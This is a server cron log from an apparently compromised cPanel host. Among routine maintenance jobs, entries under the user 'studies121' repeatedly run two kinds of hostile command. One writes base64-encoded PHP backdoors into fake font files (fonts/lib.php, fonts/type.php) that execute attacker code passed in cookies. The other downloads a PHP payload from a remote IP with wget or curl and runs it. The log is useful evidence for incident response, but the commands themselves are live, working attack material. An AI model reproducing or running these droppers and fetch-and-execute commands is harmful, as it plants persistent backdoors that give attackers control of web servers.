Sep 21 00:38:01 ip-184-168-122-23 CROND[1440]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:38:01 ip-184-168-122-23 CROND[1439]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:38:01 ip-184-168-122-23 CROND[1438]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 00:38:01 ip-184-168-122-23 CROND[1441]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:39:01 ip-184-168-122-23 CROND[1525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:39:01 ip-184-168-122-23 CROND[1527]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 21 00:39:01 ip-184-168-122-23 CROND[1529]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:39:01 ip-184-168-122-23 CROND[1528]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 00:39:01 ip-184-168-122-23 CROND[1530]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:40:01 ip-184-168-122-23 CROND[1633]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 00:40:01 ip-184-168-122-23 CROND[1637]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 00:40:01 ip-184-168-122-23 CROND[1634]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 00:40:01 ip-184-168-122-23 CROND[1639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:40:01 ip-184-168-122-23 CROND[1640]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 00:40:01 ip-184-168-122-23 CROND[1636]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 00:40:01 ip-184-168-122-23 CROND[1641]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:40:01 ip-184-168-122-23 CROND[1638]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:41:01 ip-184-168-122-23 CROND[1746]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 00:41:01 ip-184-168-122-23 CROND[1748]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:41:01 ip-184-168-122-23 CROND[1750]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:41:01 ip-184-168-122-23 CROND[1749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:42:01 ip-184-168-122-23 CROND[1840]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 00:42:01 ip-184-168-122-23 CROND[1841]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 00:42:01 ip-184-168-122-23 CROND[1842]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:42:01 ip-184-168-122-23 CROND[1843]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:42:01 ip-184-168-122-23 CROND[1844]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:43:01 ip-184-168-122-23 CROND[2011]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 00:43:01 ip-184-168-122-23 CROND[2013]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:43:01 ip-184-168-122-23 CROND[2014]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:43:01 ip-184-168-122-23 CROND[2012]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:44:01 ip-184-168-122-23 CROND[2246]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 00:44:01 ip-184-168-122-23 CROND[2248]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:44:01 ip-184-168-122-23 CROND[2251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:44:01 ip-184-168-122-23 CROND[2250]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 00:44:01 ip-184-168-122-23 CROND[2249]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:45:01 ip-184-168-122-23 CROND[2340]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 00:45:01 ip-184-168-122-23 CROND[2342]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:45:01 ip-184-168-122-23 CROND[2344]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 00:45:01 ip-184-168-122-23 CROND[2346]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep 21 00:45:01 ip-184-168-122-23 CROND[2343]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 00:45:01 ip-184-168-122-23 CROND[2347]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:45:01 ip-184-168-122-23 CROND[2345]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:46:01 ip-184-168-122-23 CROND[2457]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:46:01 ip-184-168-122-23 CROND[2459]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 00:46:01 ip-184-168-122-23 CROND[2460]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 21 00:46:01 ip-184-168-122-23 CROND[2464]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:46:01 ip-184-168-122-23 CROND[2461]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 00:46:01 ip-184-168-122-23 CROND[2463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:46:01 ip-184-168-122-23 CROND[2462]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 00:47:01 ip-184-168-122-23 CROND[2555]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 00:47:01 ip-184-168-122-23 CROND[2557]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:47:01 ip-184-168-122-23 CROND[2558]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:47:01 ip-184-168-122-23 CROND[2559]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:48:01 ip-184-168-122-23 CROND[2719]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 00:48:01 ip-184-168-122-23 CROND[2721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:48:01 ip-184-168-122-23 CROND[2723]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:48:01 ip-184-168-122-23 CROND[2724]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:48:01 ip-184-168-122-23 CROND[2722]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 00:49:01 ip-184-168-122-23 CROND[2811]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 00:49:01 ip-184-168-122-23 CROND[2812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:49:01 ip-184-168-122-23 CROND[2814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:49:01 ip-184-168-122-23 CROND[2813]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:50:01 ip-184-168-122-23 CROND[2912]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 00:50:01 ip-184-168-122-23 CROND[2913]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 00:50:01 ip-184-168-122-23 CROND[2917]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:50:01 ip-184-168-122-23 CROND[2921]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 00:50:01 ip-184-168-122-23 CROND[2922]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
